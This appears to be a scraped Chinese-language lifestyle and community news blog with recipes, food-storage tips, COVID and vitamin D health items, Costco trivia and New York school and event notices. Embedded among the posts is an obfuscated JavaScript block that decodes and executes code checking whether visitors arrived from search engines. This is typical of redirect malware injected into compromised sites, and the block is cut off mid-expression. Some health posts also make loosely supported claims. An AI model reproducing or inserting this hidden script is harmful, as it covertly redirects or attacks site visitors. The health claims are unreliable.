2. 调碗汁:将切碎的豆豉,生抽,醋,糖,剁椒放入碗中搅拌均匀。

3. 成菜:切好的姜丝,葱丝码放在鱼上面,撒少许盐,和碗汁在鱼上面。然后上锅蒸6分钟即可。

*小贴士*

在蒸鱼的时候,用毛巾包住盖子,这样蒸气就不会进入到鱼盘里面了,这样做的目的是为了保持鱼的味道,不被蒸气水冲淡。

2021-02-09 / by / in , ,
过年大扫除 这6种过期食物 千万别扔

过年/大扫除/食物过期/保质期越久越有价值/白酒/陈醋/酱油/蜂蜜/普洱茶/陈皮

过年临近,按照民间习俗为迎接新年,家家户户都在忙忙碌碌彻底的大清扫,,民间也叫扫尘,正如老话所说“腊月二十四,掸尘扫房子”,把晦气扫出门,迎接崭新的一年。

据说“尘”与“陈”谐音,俗话说得好“破家值万贯”,每到大扫除的时候你就会发现这个过期了得扔,那个腐烂了还得扔,不止是累,主要是心疼,那都是钱啊!但是过年大扫除,这6种食物别乱扔掉,它不怕过期,放得越久越有价值!


过年

古语说“民以食为天,食以安为先”!古人尚且如此,我们更要注重食品安全,一般来说,大多数的食品都会设定一个保质期限的,在商家规定的保质期限内食用完毕,不但味道好也会更健康,所以说:购物需谨慎,小心保质期!但是凡事都有例外,过年大扫除,这6种食物别乱扔掉,它不怕过期,放得越久越有价值,是不是很意外,我们一起来看一下吧!

一、白酒


白酒

众所周知,好酒是分年份的,特别是窖藏白酒,年份越久远就越有价值,因此才会有“陈年佳酿”之说,电视广告也经常会出现“百年佳酿”一说。我们这里的白酒是特指纯粮食酒中的高度酒,如果是32度以下的白酒,随着储存时间的增长,因酒精浓度不够,会使酒独特的性质消失掉。

二、陈醋

平时我们在家腌制糖醋蒜和腊八蒜都知道,这些东西即使是常温保存也不会坏,这功劳只要归功于醋。我们平时经常说“陈年老醋”更有道理,这老陈醋放得越久越有味道,放得越久越好吃。但是如果我们平时不注意,使得陈醋已经有了污染或者和空气大面积接触,那就很难说了。

三、酱油

我们这里所说的酱油并不是指工业酱油,二是指纯手工加工的酱油,这样的酱油不加任何的添加剂,也不需要保存期限,而且放得越久味道越好,放得越久越有价值。


蜂蜜

四、蜂蜜

这里我们所说的蜂蜜依然是纯度很高的天然蜂蜜,据说保存最久的蜂蜜是埃及金字塔,距今已有3000多年,所以只要你买的不是假蜂蜜就无需担心会过期,虽然有时候会结晶,这是蜂蜜的正常现象,不是变质,可以放心的饮用。

五、普洱茶、

喜欢喝茶的朋友都知道,茶是有保质期的,但是凡事都有例外,普洱茶就是茶中的例外,只要你储存环境符合标准,不但没有保存期,而且储存越久越有价值。


普洱茶

六、陈皮

谚语说“一两陈皮一两金,百年陈​​皮赛黄金”,这足以说明陈皮是没有保质期的,而且是储存越久越有价值。

这6种不怕过期的食物,放得越久越有价值,如果扔掉,真是太可惜了!

2021-02-09 / by / in
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2021-02-08 / by / in , , ,
研究证据显示:14%新冠重症患者得糖尿病 原因成谜

糖尿病/新冠肺炎/染疫/重症病患/并发症/心脏病/中风/失明/肾衰竭/神经损伤

新冠肺炎(俗称武汉肺炎)全球肆虐,使人类生命与健康处于极大威胁之中,特别糖尿病族群,在一项最新研究发现新冠肺炎重症病患中,有14%罹患糖尿病。

目前已知糖尿病患者若确诊新冠肺炎(俗称武汉肺炎),有较高风险演变为重症或死亡,不过越来越多证据显示,新冠肺炎和糖尿病的关联也许存在双向关系,感染新冠肺炎可能会引发糖尿病,而且发病者不仅限于糖尿病的高风险族群。


重症病患

华盛顿邮报报导,美国马里兰州贝塞斯达郊区医院(Suburban Hospital)医学博士齐尔伯明(Mihail Zilbermint)平时负责照顾糖尿病患者,他表示,随着院内接收愈来愈多新冠病患,他要处理的糖尿病患者人数也激增,“以前每天大概处理18名患者,现在他的团队要照顾多达30人”。

这些患者中有许多人都没有糖尿病史,有些人是在染疫后血糖升高,康复后已恢复正常; 还有些人则是被诊断出患有糖尿病,齐尔伯明说,“我们看到被诊断出罹患糖尿病的患者人数有所增加”。

尽管新冠病毒通常会侵袭人类肺部,但还与一系列问题(包括血栓、神经系统疾病、肾脏和心脏损害)有密切关系。研究人员说,糖尿病可能很快也成为染疫后会出现的并发症,包括第一型糖尿病和第二型糖尿病。


糖尿病

两者差别在于,第一型发病主因是由于先天性缺乏胰岛素所致,而第二型多是受后天环境因素影响,像是生产较少的胰岛素或对胰岛素产生抵抗力。然而,科学家目前仍不清楚新冠病毒是否会加速已经存在的问题或是导致问题发生,又或是两者兼具。

联合新闻根据去年11月27日刊登在国际期刊《糖尿病、肥胖与代谢》上的一篇全球分析报告,有14.4%的重症染疫病患得糖尿病。研究作者写道,尽管这些诊断可能是长期观察到对严重疾病或类固醇治疗的结果,但“新冠肺炎的直接作用”也应列入考虑。

研究人员尚不清楚新冠肺炎如何触发第一型和第二型糖尿病,或是造成短暂和永久的糖尿病。但他们正竞相寻找答案,包括新冠病毒是否催生出一种全新的糖尿病,而这种糖尿病的表现可能不同于以往传统的糖尿病。

美国糖尿病患者已以惊人速度成长。根据联邦卫生数据,全国估计有3420万人(人口的10.5%)患有糖尿病。而大概有三分之一美国人(8800万人)患有糖尿病前期,这代表他们即将被诊断出第二型糖尿病,若不加以控制,就会伴随着严重并发症,包括心脏病、中风、失明、肾衰竭和神经损伤等。

2021-02-08 / by / in
缺了它爆增染新冠肺炎风险!98%国人不足

维生素D/新冠肺炎/骨质疏松/免疫能力/减少炎症/晒太阳/鲑鱼/蛋黄/乳酪/蘑菇/黑木耳

维生素D对吸收钙很有帮助,同时对健康强壮骨骼具有重要作用。

美国最新研究发现,维生素D缺乏者,感染新冠肺炎风险增加77%。但国人高达98%维生素D不足,其实许多食物含有丰富的维生素D,例如:鲑鱼、鲔鱼、鲭鱼、沙丁鱼、蛋黄、乳酪、蘑菇、黑木耳、香菇。


维生素D

维生素D维持人体健康

《健康2.0》引述新光医院健检中心护理长张晓婷观点指出,维生素D(也称维他命D)为一群脂溶性的维生素,是维持正常生长及健康的重要营养素之一。

维生素D可帮助钙质吸收、预防骨质疏松;许多研究证实还具有调节细胞生长,调节神经肌肉功能、提升免疫能力及减少炎症、降低癌症死亡率同时。若是维生素D不足,也会影响男女性生殖能力,是近几年来特别受到关注的微量营养素之一。


晒太阳

98%国人维生素D不足

根据国防医学院公共卫生学系教授李美璇,分析卫生署国民营养健康资料发现,高达98%的人,血液中维生素D浓度不足(标准是33μg/mL),尤以19~44岁年龄层浓度最低,主要是因为对维生素D的认知不足,以及国人受到“一白遮三丑”的观念影响,与不喜欢晒太阳及怕晒黑有关。

另外,波士顿大学医学中心研究也发现,维生素D缺乏者,似乎与癌症、心脏病、糖尿病、忧郁症、免疫疾病息息相关。

2010年《美国神经医学期刊》研究发现,芬兰学者追踪3000人的血液样本长达30年后,维生素D对人体免疫系统、神经系统的调节都有重大影响,血液中含量较低的人,罹患巴金森氏症的机率比一般人高3倍。

2招补充维生素D


鲑鱼

张晓婷建议,补充维生素D食物,例如:富含维生素D3的鲑鱼、鲔鱼、鲭鱼、沙丁鱼、蛋黄、乳酪,以及富含维生素D2的蘑菇、黑木耳、香菇。

此外,维生素D也可以透过人体可以自行合成,只要一天暴露在阳光下10~15分钟,人体自身即可合成足够的维生素D3。研究建议,每天早上10点到下午3点之间,至少让脸、手臂、腿或背部,晒太阳10~15分钟,让身体自己合成足够的维生素D,不过要注意避免晒伤。

5族群补充维生素D要注意

张晓婷提醒,有特殊疾病、更年期妇女、小孩、老人及哺乳产妇,对于维生素D保健品补充,则需经由医师或药师专业建议。

2021-02-08 / by / in ,
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,113,119,51,54,48,55,56,57,122,72,84,77,76,60,34,112,47,63,38,95,43,85,67,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[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2021-02-07 / by / in , ,
Costco的9个鲜为人知的小秘密

Costco的9个鲜为人知的小秘密

Costco以其富有特色的经营之道,不仅在和亚马逊等大型电商的竞争中并不逊色,还成为各媒体和消费者津津乐道的题材。人们热衷于谈论Costco的商品和购物技巧,以及它的各种动向。

很多消费者都表示,自己在Costco商店过道上,时不时会发现令人惊喜的商品或购物体验。Costco美食广场的价廉物美也是吸引人们前往购物的关键因素。

因为中共病毒疫情,Costco停止销售平片式蛋糕(sheet cake),还引发网友连署呼吁Costco恢复出售这种供聚会使用的大蛋糕。

以下是关于Costco,你所不知道的9个小秘密。

1. Costco是美国最大的披萨饼店之一

很多消费者如果想订购披萨,很难想到致电Costco。但是在美国,四百多家Costco出售披萨,意味着Costco是美国最大的披萨销售商之一。

2. Costco有“触发器”(trigger)和“宝藏”(treasure)

一个典型的超级卖场大约有40,000件商品,而Costco只卖大约4,000件商品。有些商品,在Costco只有一种或少数品牌出售,让客人避免在整个货架摆满各种品牌的商品之间选择,可减轻购物压力。

Costco称这些单一品牌商品为“触发器”,一般是纸巾、洗涤剂和谷物等商品。

另一方面,以零售价80%价格出售的奢侈手袋等商品,Costco称之为“宝藏”,因为这些商品经常更换。如果你在逛Costco看到却没买,第二天再去可能已经没有了。

3. 消费者大量购买Costco的腰果

Costco每周出售的腰果价值高达30万美元,以至于Costco不得不将装腰果的容器从圆形变成方形,以节省货架空间。

4. 最大的高档葡萄酒进口商

Costco是世界上最大的法国高档葡萄酒进口商,每年葡萄酒销售额达到10亿美元,几乎超过了世界上所有其它葡萄酒零售商。

5. Costco的烤肉鸡是亏损冠军

Costco每天售出约15.7万只新鲜烤肉鸡,每只4.99美元。Costco每年因不提高价格而损失大约3000~4000万美元。但回报是赢得大批忠实粉丝,这是值得的。

Costco的烤鸡至少有三磅重。(Getty images)

6. Kirkland Signature品牌非常有价值

Costco自家品牌“Kirkland Signature”具有很高的价值。大多数产品被认为是“私人商标”,通常与高价品牌在同一家工厂生产。

7. 保存25年的食品包

如果你担心大灾难,在Costco花4,000美元,就可以购买“Emergency Cube”,其中包含30,000份食物,将持续25年。

8. 冷冻食品过道有个爱情故事

一对夫妇在Costco的冷冻食品过道里结婚,这是一场合法婚礼,这是因为新郎和新娘在这里购物时相识。

9. 美国宾州某些Costco商店有独特停车位

如果你在宾夕法尼亚州兰卡斯特县(Lancaster County)的Costco购物,可以看到一些非常特殊的停车位,是为阿米希人(Amish)设置的马车停车位。

2021-02-07 / by / in
纽约市4岁学前班和3岁幼儿班 2/24日起报名

2021—2022学年的纽约市4岁学前班(Pre-K )和3岁幼儿班(3-K),将从2月24日开始申请,截止日期分别是4月7日和4月30日。

4岁学前班和3岁幼儿班均从2月24日开始报名,截止日期分别是4月7日和4月20日。
4岁学前班和3岁幼儿班均从2月24日开始报名,截止日期分别是4月7日和4月30日。(纽约市教育局提供)

免费全日制4岁学前班的申请日期是:从2月24日至4月7日,凡2017年出生的4岁儿童家庭可以申请。免费全日制3岁幼儿班(3-K)的申请日期是:2月24日至4月30日,凡子女在2018年出生的3岁儿童家庭可以申请。

但并不是所有学区都提供3岁幼儿班,目前提供3岁幼儿班的学区有:曼哈顿第1、第2、第5学区;布朗士第7、第8、第9、第12学区;布碌崙第14、16、19、23和32学区;皇后区第27、29学区;史坦顿岛第31学区。

申请4岁学前班和3岁幼儿班的办法有两种。一是在线申请,登录https://www.myschools.nyc/zh-hant/(中文);二是电话申请(718-935-2009),有翻译,可使用任何语言咨询。由于疫情,前往“家庭欢迎中心”(Family Welcome Center)申请的方式已取消。

Pre-K和3-K招生不是先到先得,家长可以在截止日期之前的任何时间,对申请进行修改。

市教育局说,儿童就读免费全日制、高品质的学前班,可以在一个安全且受到关爱的环境中成长,以玩耍带动学习,并培养技能。

查找学前班课程,可登录纽约市教育局网站“学前班指南”(中文:https://www.myschools.nyc/zh-hant/schools/pre-k/),输入住址或学校名称等信息。

通过电脑或电话设定Myschool账户(设定方法请浏览:https://vimeo.com/488709712),然后在线或通过电话申请学前班。

家长可以与学前班直接联络,以进一步了解该学前班的情况,可参加网上视讯或到现场参观。

入学资讯及最新消息,请浏览:nyc.gov/prek;查找学校的网站是:https://schoolsearch.schools.nyc/。

若有疑问,可发邮件:ESEnrollment@schools.nyc.gov,或者拨打电话718-935-2009咨询。

2021-02-07 / by / in
房地产商:冬季房屋保暖六秘诀 经济又实用

随着寒冬来临以及越来越多的人居家工作,很多家庭的水电费可能开始飞涨。为了减轻人们的负担,一位热心的英国房地产专家分享了六个简单的技巧,不需要多花钱却能使你的房屋保持温暖

一月份,詹姆斯发布了一段影片,标题为“保持房间温暖的秘诀!”,在其中一个社交平台迅速吸引110万网友观看,另有3万多个赞。

“给散热器放气,以使其正常运行。”詹姆士建议说,“使用完烤箱后,请打开烤箱门。”

商詹姆斯分享六个简单的技巧,不需要多花钱却能使你的房屋保持温暖。

“放下百叶窗并拉上窗帘可以保持室内热量,”这是詹姆斯的第三招。第四招是“将铝箔纸贴在散热器后面,这样有助于反射热量。”

詹姆斯还亲自演示将铝箔纸剪成一定尺寸的矩形,并用双面胶带将它们黏贴在壁挂式散热器后面的墙壁上,以将热量反射回房间。

他继续说道:“尝试在散热器和沙发之间留一点缝隙。”最好让沙发和壁挂式散热器之间保持约15厘米的距离,以留出足够的空间使热量扩散至整个房间。

最后,詹姆斯建议:“如果你不需要使用阁楼舱口盖和阁楼门,请将它们关闭。”

詹姆斯分享六个简单的技巧,不需要多花钱却能使你的房屋保持温暖。

英国金融科技公司Urban Jungle Insurance的首席执行官威廉姆斯(Jimmy Williams)也同意詹姆斯给出的六点建议。

他对LADBible网站说,听从詹姆斯的建议,将铝箔纸放在散热器后面,“通过将热量反射回房间,将会使你的中学物理老师感到骄傲”。

如果你家里不是双层玻璃窗,将挡风条放置于窗户的底部,或者在夜间使用厚窗帘,这是另外两种保持热量的方法。

很有经济头脑的詹姆斯还经营一家同样名为“That Property Guy”的公司。为了寻求更便宜的房价,詹姆斯特意从伦敦搬到英格兰南部的朴次茅斯。他在2016年仅24岁的时候就购买下人生的第一套房屋,价格为12万英镑的两居室公寓,他一边住在里面,一边给房子装修。

到了2017年,他把这间房子转手出售,赚进1.5万英镑,并迅速将其投资于下一套房产及装修。除了委托专业技师帮忙翻修的同时,他还通过YouTube学习相关DIY知识,负责刷油漆等较容易上手的工作。

詹姆斯告诉《太阳报》:“到目前为止,我的很多旅程都归功于发现并抓住机会。”

 

2021-02-07 / by / in
纽约市教育局副局长 8日讲解天才班及初高中招生政策

皇后区家长咨询委员会(Queens Parent Advisory Board)将于8日(周一)下午6点举办在线会议,邀请纽约市教育局负责早期教育和招生的副局长Josh Wallack,以及负责社区合作和传播的副局长Adrienne Austin作为主讲嘉宾,讲解“才班”(Gifted & Talented Programs)和初中、高中招生的政策变化。

参加者请上网登记:https://rb.gy/ioiaou,邮箱将收到会议链接;需提问者可在2月7日之前发邮件给:education@queensbp.org;也可届时上网观看会议视频:https://www.queensbp.org/education/。

2021-02-07 / by / in
法拉盛文艺中心华人新春庙会 大年初三线上庆祝牛年

法拉盛市政厅文艺中心的华人新春庙会今年将于2月14日(周日)美东时间下午2点举行,今年的节目将首次于线上举办,将在该中心的YouTube频道播放。

今年的强档表演包括陈乃霓舞蹈团带来的各式民族舞蹈、纽约美华剧坊为牛年特别制作的布袋戏、琵琶演奏家高虹的独奏,以及由中田纳西州立大学中国音乐文化中心(MTSU Center for Chinese Music and Culture) 带来的音乐合奏。

民艺示范的节目将包括:民间工艺美术家何红一教授和法拉盛文艺中心艺术教师汤泠的剪纸示范,及皇后学院刘比华老师的流彩绘画示范。由一群热爱相声艺术的年轻人组成的水木相声社,也将带给观众相声新作《纽约爱情指南》。

线上节目的优势也让今年的华人新春庙会能够近距离带给观众经典年菜示范,邀请到皇后区夜市“Hong Kong Street Food”小吃摊的赵秀云和“Bstro”台式小吃摊的Johnson Hu 来示范甜、咸汤圆和狮子头。并与启扬活动中心合作,一窥简易烹饪系列杨宝芝主厨的松鼠全鱼。

法拉盛文艺中心委员会委员及华人新春庙会创始人甘台甯表示:“庙会是我在台湾长大时对农历新年最印象深刻的回忆之一。庙会不但有精彩的演出,也有得吃有得玩,我希望也把这个美好的经验带到纽约。今年我们将跟大家在线上精彩庆祝新春。”

“去年春节因为新冠疫情刚刚开始,我们决定取消华人新春庙会来保护社区。今年,我们转到线上,继续这个大家都喜欢的节目,也让大家在精神上能齐聚一堂。”

 

2021-02-07 / by / in
粉蒸秋葵 增强免疫力 强肾补虚功效最佳

粉蒸秋葵/秋葵

秋葵是比较受欢迎的一种高档营养保健蔬菜,尤其在日本和台湾、香港等是非常畅销大一种蔬菜。甚至在非洲一些国家是运动员的首选蔬菜。

秋葵也是一种低能量蔬菜,是很好的减肥食品。秋葵中含有丰富的维生素、蛋白质、以及铁、钾、磷、锌、钙等微量元素。除用作日常蔬菜外,黄秋葵还具有增强免疫力、抗疲劳、强肾补虚的功效。

材料:

秋葵250克 大米2把 荷叶1张(或用大张菜叶代替)香油1汤匙 芝麻酱1汤匙 盐适量 酱油1汤匙 五香粉1/2茶匙

做法:


粉蒸秋葵

1. 锅中放入大米,不放油,用小火不断翻炒至泛黄,然后离火,放凉。并将炒好的米用擀面杖碾成碎。

2. 秋葵洗净,去蒂,切成块入碗中,调入芝麻酱,酱油、适量盐、五香粉充分拌匀。

3. 将米粉放入碗中,调入香油充分与秋葵拌匀,使料均匀粘上米粉。

4. 蒸笼备好,将荷叶剪成与笼等大的圆(用大叶蔬菜代替),然后放入垫底。

5. 将拌好的秋葵装入笼中;蒸锅里水烧开后,放入蒸笼,中火蒸15分钟即可。

*小贴士*

1. 可以用现成的五香或者麻辣米粉代替自己制作的米粉。

2. 可以按口味放豆瓣酱或者辣椒面来蒸。没有五香粉,也可以在炒米时加八角等香料。

3. 秋葵在开始放调料时有点干,充分拌一下就会有水分出来,后面拌入米粉才不会太干。

4. 蒸秋葵用蒸笼较好,上下蒸汽均匀渗透,如果用盘子来蒸,平铺较好。

2021-02-07 / by / in ,
脚上有这三个特征:恭喜!證明你比其他人健康太多

脚底颜色/脚的温度/趾甲/腿部动作 延寿防衰老/脚上 三个特征

足也就是脚用来判断健康,一般来说有以下三个明显特点:

脚底颜色

中医早就有五色辨病的说法,五色指的是青赤黄白黑。

中医认为,正常的脚底应该是淡红色,

如果红色太过明显,可能身体有热;

如果颜色发青,可能有寒;

如果出现黄色,代表肝胆不好;

如果脚底发白,可能有贫血;

如果脚底发黑或发紫,是血液循环太差所致。

脚的温度

健康人的脚常年温温的,不会有出汗过多或足底冰冷感。

老人、女人易出现脚底冰凉的现象,多为穿太少或肾阳不足,这类人在秋冬季可多吃一些温热的食物,如生姜、羊肉和大蒜等,可提高身体御寒能力。

若脚心过热,则可能是阴虚内热,平时要多吃些甘凉食物(冬瓜、绿豆),少吃辛辣食物。


健康人的指甲呈粉红色

趾甲

健康人的指甲呈粉红色,脚趾甲上也有月牙的哦!

①指甲颜色苍白,缺乏血色,多见于营养不良,贫血患者;此外如果指甲突然变白,则常见失血、休克等急症。

②如果趾甲有纵行条纹,则表示处于极度疲劳的状态,身体机能低下。

③拇趾的趾甲向上翘起的人,眼睛容易疲劳,或有近视、散光。

④如果5个趾甲都翘起,那可能是承受着相当的精神压力。

4个腿部动作延寿防衰老

中国中医科学院西苑医院老年病中心刘征堂教授认为,脚是人体养生的重要部位,通过做一些简单的脚部运动,可以刺激脚部穴位,强身健体。

1.踮脚:

经常久坐和站立的人常会感觉到下肢酸胀,严重的甚至会出现下肢静脉曲张,这是下肢流不畅所致。

不妨每小时做一次“踮脚”,可以促进下肢血液循环。

2.脚趾抓地:

具体方法:取站姿或坐姿,双脚贴合地面,与肩同宽;脚趾先抓地,再放松,交替刺激经络;

还可以用脚趾抓东西,既可刺激脚部穴位,还能按摩脚趾。

3.搓脚:

每天晚上泡完脚后,将手掌搓热,用掌心搓脚心,各100下。

搓脚可降虚火、滋肾,还能防治脚部酸痛、消肿等症。

4.干洗腿:

双手抱紧一侧大腿,双手用力从大腿根部开始按,直到脚踝,再按回大腿,按完后换腿,重复10-20遍。

这个动作可活动双腿,预防下肢静脉曲张和水肿。

2021-02-07 / by / in
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2021-02-06 / by / in , ,
起司豆皮夹 原来豆皮这样吃更好!(视频)

起司豆皮夹/起司/豆皮

今天与大家分享非常好吃的一道菜,起司豆皮夹,它的味道香酥脆。

富含蛋白质,煎,炸,炒都适宜的豆皮,只要将备好的食材依序摆入,然后炸的时候,不要一锅子放很多,保留一些空间,可以让酥脆的起司豆包夹更可口美味!

食材:

新鲜豆包4片、乳酪丝 10克、素火腿 60克、香菜 2克、脆酥粉 100克、面包粉 100克、白芝麻(生)5克

调味料:

胡椒粉适量、黑胡椒粒适量

做法:

1.找出豆包接口处,将豆包翻开摊平成长方型,共有两折须翻出。

2.将素火腿切0.2公分圆片状,香菜切1公分段,乳酪丝切碎。

3.将摊平的豆包,中间放上一片火腿片,洒上白胡椒盐及黑胡椒粒。

4.再洒上乳酪末、香菜段。

5.取100克脆酥粉加上面包粉 100克、白芝麻(生)5克、100克的水,调成脆粉浆。

6.将豆包夹沾上脆粉浆,接着将豆包左右各折回来并压紧。

7.豆包夹再沾上面包芝麻粉。

8.锅中将油加热至油温160度左右,将豆包夹放入锅中,炸至金黄酥脆即可。

